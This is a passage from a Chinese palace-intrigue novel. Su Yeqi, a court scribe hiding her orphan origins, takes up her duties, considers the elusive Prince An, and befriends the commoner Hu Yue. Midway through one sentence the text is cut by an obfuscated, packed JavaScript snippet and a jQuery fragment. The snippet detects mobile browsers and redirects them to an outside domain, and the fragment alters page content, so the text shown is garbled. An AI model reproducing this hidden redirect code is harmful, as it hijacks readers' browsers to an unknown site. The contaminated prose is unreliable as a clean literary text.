“可是那位安王？”


    苏叶柒记得此人，“先生曾言，太子与瑞王皆谨言慎行，唯安王圣眷疏淡，随军在外多年。”


    “正是。”绾夫人颔首。


    苏叶柒执壶添茶：“既知与至尊位无缘，索性随心所欲些，倒也不难理解。”茶汤注入盏中，映出她若有所思的眉目。


    绾夫人容色一骇，敛尽笑意，“柒娘，万不可胡来。”


    苏叶柒莞笑应下。


    日影陡斜，茶汤已淡得映不出人影。


    绾夫人终于从食盒底层捧出个白玉汤盅，掀盖时，那股熟悉的苦涩顿时在屋内漫开，是苏家独有的秘药。


    苏叶柒盯着盅中浓黑的药汁，眉心微蹙。那苦味勾得喉头发紧，连带着旧时记忆也翻涌上来。


    “喝下这碗药，你就是尊贵的苏家女儿”


    这碗药，一喝就是九年。


    见那药盅见了底，绾夫人这才施施然起身，留下一箱金银。


    临到槛外忽又折返，一手扣住苏叶柒的手腕，再次叮嘱，“柒娘，你向来知进退，切记莫与萧九扯上关系，超出股掌，皆是变数。”


    “柒娘晓得。”苏叶柒的乖驯一如往常。


    *


    五月初七，夜。


    明政殿内，灯火煌煌，觥筹交错，时而有武将阔朗笑声盖过芸芸低语。


    贺边关大捷，今夜文武百官齐聚明政殿，庆大夏社稷永宁。酒过三巡时，慈安宫传来消息，太后旧疾复发，今上是孝子，匆匆舍下臣工而去。


    偏隅处，苏叶柒与姚淑静并坐于矮案前，羊毫笔尖游走宣纸的沙沙声，混在殿中喧嚣里全不可闻。


    大夏自开国起设尚宫局，有女史掌后宫文书，起草誊录，记录起居礼仪，备察档案等事务。


    而女史，多出自士族或官宦之家，如她身后是云州苏家，姚淑静则来自晋城姚氏。二人皆是长公主举荐，月前同入尚宫局。


    姚淑静忽倾身靠近，低声道：“怎没瞧见安王萧衍？”她手中笔杆虚晃，墨汁险些污了册页。


    百年前太祖立鼎时，定有铁律，凡烽烟起，必遣皇子随军，示天家与将士同进退、共生死。


    可惜，龙椅上的人，无不怕皇子拥兵自重，故又立规，随军皇子不得擅调一兵一卒。毫无实权的随军，挣不来军功，也就与放逐无异。


    如此，这等摸不着虎符又要远离京都的差事，也就由不得重视的皇子担着。


    而今这“殊荣”，正落在安王萧衍肩上。


    大夏与西凉交战三年，他便在边疆军营呆了三年。


    苏叶柒轻摇首，“安王既为随军副帅，今夜庆功宴理应列席。”


    姚淑静撇了撇嘴，“陛下亲临的场合都敢缺席，果然如传言那般，跋扈自恣。”


    苏叶柒只是笑笑，未置一词。眸光流转间，又把大殿细细扫过，那个满身沉檀香的男人并不在文武诸官之中。


    他到底是谁？


    耳畔忽又响起那声“柒娘”，低沉的，慵懒的，带着几分漫不经心的狎昵。


    这般逾越的称呼，放肆的态度，此时想起脸颊蓦地一热，旋即涌上几分恼意。


    是不是也该探一探他的底细，再与其交锋时，才不会那么被动。


    “苏妹妹在找人？”


    苏叶柒倏然回神，偏首正迎上姚淑静含笑的打量。


    “让姚女史见笑，我自幼长在钱塘，少来京中，没见过世面，今夜如此盛事，京中要员可都到齐了。”


    “倒也不尽然。”姚淑静道：“谢家兄长就不必来此处推杯换盏、虚与委蛇。”


    “姚女史说得可是大理寺少卿谢玉？”苏叶柒问。


    这些朱门绣户间的血脉勾连，早在钱塘时，就有教习嬷嬷用红绳系着玉牌，一方方排给她看过。


    姚淑静狠狠点头，“谢兄长入仕那年，六位中正官无一例外，皆批一品，人道玉郎谢一品。”


    虽不曾与谢玉有甚交集，但苏叶柒对这般赞誉不以为意。


    一品之评，不过是谢家嫡子该得的体面。凌烟阁二十四功臣的血脉，哪个中正官敢不恭敬执笔。


    大夏立国时，九品中正制确曾举荐过不少栋梁。可惜，百年沧桑而过，各州中正官早沦为世家巩固权势的工具，也就造成如今上品无寒门之局面。


    九品考评，德行门第占七分，才学仅占三分。如此判评，他谢玉获一品赞誉不是应该吗。


    顶着苏家女的虚名，她倒确实读了不少的书。只是这书越读，就越糊涂，诸多事，她就只得强迫自己不去往深处想。


    “既蒙中正一品嘉评，”苏叶柒若有所思，“谢大人本该入翰林、进六部才是，怎会去大理寺，这可是得罪人的职位。”


    姚淑静眼睛一亮，凑近几分：“妹妹有所不知。谢家兄长得今上看重，这宫里能不带拜帖自由行走的，除了几位世家老人，可就数他了。”


    自由行走。


    在满堂丝竹管弦的靡乐声中，这四个字犹若风断冰挂，直直刺入她耳中，让她不由一颤。


    就又想起那男子的眸子，是极为好看的桃花形，本该是潋滟多情的眸，然眸底却凝着亘古不化的霜雪，就像是桃花错开在冬日，蛊惑又违和。


    苏叶柒眼睫轻抬，眸中恰到好处地漾开一丝好奇，“谢氏累世簪缨，不知谢大人可担得起芝兰玉树四字？”


    姚淑静眸色倏亮又黯：“十五岁后，为避男女之嫌，便难见谢家兄长了。”


    “最后见他是在弱冠礼上，那时他还未入仕，只一袭素白立于花厅。满苑的花，竟都显得俗了。”她声线渐低，像是陷入某种恍惚，


    可苏叶柒却是愈发清醒，齿尖轻磨着紧紧咬住“素袍”二字！


    有宫女执壶过来添茶，青瓷盏中碧汤微漾。


    苏叶柒原是不注意，不料袖角被人一扯，此人转身离开之际，一张薄纸塞入掌心。


    她不动声色地收指入袖，余光掠过一旁，见姚淑静正托腮畅神，方就着案几遮掩展开，“尸体已随净事房出宫”。


    这是绾夫人送来的消息。


    杀人之事终于死无对证，再无痕迹。


    *


    次日，是五月初八。


    苏叶柒走进尚宫局时，彤史箴门窗大敞，晨光正斜斜洒在窗棂上。许是再无威胁，她的脚步较之往常都要轻松。


    靠窗的玄漆宽案前，姚淑静正端姿执笔，听到动静，她偏头望过去。


    恰见苏叶柒迎光而来，天水碧间色锦裙在晨光里若一汪清冷的水。


    她抬步迈过尚宮局的朱漆门槛时，裙裾豁然漾开，雪色垂髾扬起露出鞋尖上的一颗珍珠。


    明明是盛夏时节，她却似一尊刚从窑火中取出的青瓷，釉色清冷，质地坚硬，周身透着一股被烈火淬炼过的冷冽。


    日光落在她肩头，竟也染上几分凉意。


    姚淑静嘴角的笑意蓦地一僵，喉间倏地涌上股妒意，下意识掠过自己身上的茜红，突然就觉得这颜色艳得有些刺眼。


    而窗外那抹天水碧，却是盛夏里斜出的一枝梨，雪色寂寂。


    不由得扬起声音朝窗外笑道：“这暑气蒸人的天儿，偏苏妹妹像雪堆出来的玉人儿似的。我可得挨近些，沾些凉意。”


    话音未落，满屋女史俱已抬头。


    苏叶柒走进彤史箴，眸光清凌凌地扫过屋内女史，或妒或羡的神色尽收眼底。她唇角忽地一翘，笑里带着几分傲。


    “姚女史这般抬举，倒叫我平白多了好些莫须有的眼红。“尾音轻飘飘落下，满室无人敢应。


    绕过两张长案，她在姚淑静对面靠窗位置坐下，不再理会姚淑静讪讪地笑。做苏家的女儿，真好。


    打开案上镶银嵌珠的匣子，取出昨夜明政殿内录事宣薄，逐句斟酌删废，后誊抄在简牍封存。


    屋内再无人说话，唯有夏风穿窗绕室，掀开青宣此起彼落的“簌簌”声。


    瑞兽香炉靠窗棂放着，风过时，徐徐青烟散开，在她和姚淑静之间，氲起一道香风筑起的墙雾。


    直至上午过半，女史胡月才匆匆而至，所过之处带起一阵暑风。有人眉间泛过不悦。


    随着腰身撞上案角，一声痛呼伴随着匣盒落地的清响，还有碎银铜钱洒落在地蹦蹦跳跳。


    诸人笔尖未停，甚至没有分去半个眼神，端姿静书。


    苏叶柒知道，不会有人出言嘲弄胡月，更不会有人去关心她撞在何处。


    得体，是这些世家贵女自幼刻进骨子里的骄傲，是不允许行差就错的漠视。


    胡月，是这间屋子里唯一的下品出身。她是御书房外的洒扫宫女，被孙尚书亲自举荐入尚宫局。


    直到菅姑姑来时，胡月才把一桌子凌乱收拾妥当。


    菅姑姑是个热闹性子，视线在诸人身上转过一圈，“哎哟哟，到底是年轻好哦，好看，好看，就得这么穿。”


    她老人家此言，是因女官虽不必如朝臣般日日着官服上朝，却也该统一着装。因孙尚书年轻时爱俏，特向圣上求了恩典，故而尚宫局的女官们当值时可穿常服，只在面圣时才需换上正式宫装。


    不过是为便于执笔，大家皆把宽袖改窄几寸。


    女史们纷纷起身敛任行礼。


    姚淑静上前，笑盈盈迎菅姑姑到耳房，又搀着人在圈椅里坐下。而后，她们几人在下首位置依次坐下。苏叶柒有意敛芒，坐在最后，而姚淑静则离菅姑姑最近。


    苏叶柒坐下后，抬眸见到胡月在她对面坐下。


    “菅姑姑，今日的尚宫局，似乎要静些。”姚淑静问。


    菅姑姑笑呵呵解释：“此番与西凉盟好，乃百年来头一遭的好事儿。陛下金口玉言，要把这场面一笔一划都写进史册里，好教后世子孙瞧个明白。”


    “史官诸公忙于纂修国史，人手紧张，尚宫局奉旨协理此事，资深的都拨去史馆帮忙了，你们这些新来的丫头，就做文书采集、卷牍整理罢。”


    苏叶柒不动声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220945|181512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    色扫过旁人，果然见诸人面露愁容。


    文书采集是辛苦活，要常往诸多参展将士府中做问询。


    我朝重文轻武，吟诗赋曲是为雅。武将多是下层出身，读墨不多。世家女郎不愿与这些人有交集，也算常事。


    因此，诸人皆把希冀放在菅姑姑身上。


    “哎哟哟，娇花们都成霜打的苦瓜喽。”菅姑姑跟在孙尚书身边几十载，见过太多，但她谁家都不怕。


    视线在诸人身上扫过一圈，如将军沙场点兵一般，手指在空中点呀点，就把她们这半年来的差事安排了，做完安排，她双手击掌，似是格外满意，笑呵呵回去复命，留下几家世族贵女愁容不展。


    姚淑静最为不悦，被遣至钧县为将士录事。钧县在洛阳城外，马车跑得再快，往返宫中也得一两个个时辰。


    苏叶柒顾不得这些，她与胡月同被指往随军皇子那边录卷，随军皇子自然是安王萧衍。


    若绾夫人不曾提点她远离此人，这是桩极好的差事。


    安王的青梧宫虽在皇子苑僻处，离掖庭远些，但尚在宫墙之内，省了往返宫外车马劳顿的辛苦。这般差事，原是该争破头的。


    此时，却是难办了，须得想个法子和旁人调换差事，抬眸却见胡月小心翼翼走过来。


    “何事？”苏叶柒搁下雀头笔，抬眼掠过胡月身上那件样式简单的海天霞束袖裙，不动声色移开视线。


    她仍穿着宫女的服制。


    胡月神色拘谨，低眉垂目，细声解释，“因往后数月皆需共事，近坐便于商议。不知可否移案与我同席？”


    言罢，又急忙补充道：“若觉不便，亦无妨。”似是怕苏叶柒拒绝，语气中带着明显的忐忑。


    苏叶柒素来不喜与这般性情的人周旋，正欲婉拒，忽见姚淑静面色沉沉踏入，遂改了主意。


    “何来不便之说，同席确实利于日后共事，只要你不觉打扰便好。”


    胡月独坐一张长案，位置不临窗，采光不佳。


    闻言，她连忙摆手，直言不会被打扰。苏叶柒见状，不再多言，收拾好东西迅速挪了位置。而姚淑静的目光，如刀锋般凌厉，直直落在胡月身上。


    片刻后，姚淑静将胡月唤了出去。这是她们二人之间的事，苏叶柒自觉不是菩萨，没有理会，整理好桌案，继续誊录文书。


    时过正午，苏叶柒做完明政殿录事全部誊录，才离开彤史箴。在回掖庭的路上，遇到胡月从另一个方向过来，她脚步轻快，眉眼噙笑。


    见到苏叶柒，她快跑两步追上，“苏女史，今日领月俸。”尾音裹着蜜糖般的欢欣，全不似先前怯懦模样。


    苏叶柒想起她洒落在地的银钱，原来她晚到是去领月俸了，“多谢提醒。”


    “姚女史要同我换差事呢。“她拂开拦路花枝，“可菅姑姑交代的差事，哪敢随意更换。”花枝涌动见，惊飞一群汲蜜的蜂。


    她比苏叶柒认为的，要活泼。


    可她所言不虚，这是菅姑姑安排下来的差事，那就是孙尚书的意思，她又怎好随意与旁人调换，这么一想，便觉差事事不能换了。


    胡月见苏叶柒不语，她自顾说道：“我方才把领的月俸托人带回去，算上之前存的，应该够给兄长娶媳妇了。”


    苏叶柒慢下脚步与她并肩走，随口道，“你兄长待你一定很好。”


    “嗯。”胡月重重的点头，“兄长如父，长我育我。他眼睛不好，已过而立还未成家，只盼我早日有一个好嫂嫂。”


    父兮生我，长我育我。天光从枝叶罅隙漏下，忽地刺痛苏叶柒眸瞳。


    她是被遗弃在桃溪村的孤儿，三岁那年，她太饿了，蹲在路边一圈打量，抢走一个痨病鬼的烧饼。


    痨病鬼身子不好，追不上她。她就每天去抢痨病鬼，有时是烧饼，有时是包子。


    后来，她嫌痨病鬼的包子太咸，就跑进他的火房，自己和面做馅。再后来，她就在痨病鬼家里住下，一住就是五年。


    最后，痨病鬼被乱刀砍死。


    她从大火里逃出去，在村外山道上，看见一个衣着华贵的男人，戚戚然哭着扑过去。


    痨病鬼说过，她生来一张纯善无害的观音面，却总冷着脸，只要肯示弱，没人会拒绝她。


    果然，华衣男人问她从何处来，似乎是与生俱来的警觉，她往桃溪村相反的方向一指。自此，她锦衣华服，还有了姓氏，且是这大夏最尊贵的姓氏。


    她想，自己大概天生就是冷血冷情的人，才会在八岁的年纪，就懂得于人前撇清潜在的危险。


    这九年，她过得还不错。许是今日天光过盛，刺得她眸底泛酸。那个痨病鬼，她有些想他了。


    “你会如愿的。”苏叶柒不多的怜悯心分给了眼前少女几许。


    胡月一把挽住她的胳膊，“我哥特胆小，还特善良，小时候，我家猫和邻居家狗打架，他特别怕狗，但为了帮我家猫打架，愣是拿着包子砸狗，哈哈，你说傻不傻…”